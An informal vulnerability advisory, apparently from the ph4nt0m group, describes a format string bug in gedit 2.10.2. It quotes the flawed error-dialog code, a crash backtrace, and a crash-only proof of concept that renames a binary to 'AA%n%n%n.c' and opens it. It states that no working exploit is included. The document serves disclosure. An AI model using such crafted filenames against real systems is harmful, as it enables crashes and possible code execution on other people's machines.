pst.advisory: gedit fun. opensource is god .lol windows www.ph4nt0m.org Systems affected: gedit 2.10.2 no affected all exploitable 1:why: gedit is power tool .. it used to edit *.c *.pl *.py ............ when it open a bin .. ths bin's name or filename is format strings ... it is exploitable 2:tips: void gedit_utils_error_reporting_loading_file ( const gchar *uri, const GeditEncoding *encoding, GError *error, GtkWindow *parent) { ............ if (error_message == NULL) { if ((error == NULL) || (error->message == NULL)) error_message = g_strdup_printf ( _("Could not open the file \"%s\"."), uri_for_display);................name else error_message = g_strdup_printf ( _("Could not open the file \"%s\".\n\n%s."), uri_for_display, error->message);..........name } g_free (encoding_name); dialog = gtk_message_dialog_new ( parent, GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT, GTK_MESSAGE_ERROR, GTK_BUTTONS_OK, error_message);....................boom...... 3: more show Program received signal SIGSEGV, Segmentation fault. 0x40f9b740 in gtk_window_set_transient_for () from /usr/lib/libgtk-x11-2.0.so.0 (gdb) bt #0 0x40f9b740 in gtk_window_set_transient_for () from /usr/lib/libgtk-x11-2.0.so.0 #1 0x40ea33c9 in gtk_message_dialog_new () from /usr/lib/libgtk-x11-2.0.so.0 #2 0x080723a1 in gedit_utils_error_reporting_loading_file () #3 0x080779f8 in gedit_file_open_from_stdin () #4 0x00000000 in ?? () #5 0x083f98e8 in ?? () #6 0x0813f538 in ?? () #7 0x080ad668 in TC_GNOME_Gedit_Application_struct () #8 0x08339e30 in ?? () #9 0x00000000 in ?? () #10 0x41287ca1 in __default_morecore () from /lib/libc.so.6 4: A LAME proof-of-concept bash-2.05b#cat fmtexp.c #include <stdio.h> int main() { printf("hah gedit\n"); } bash-2.05b#gcc -o fk fmtexp.c bash-2.05b#mv fk AA%n%n%n.c bash-2.05b#gedit AA%n%n%n.c no working exploit will be here..:P CREDIT: jsk:exworm (www.0xbadexworm.org) discovery this vulnerability ths: all members from PST and doris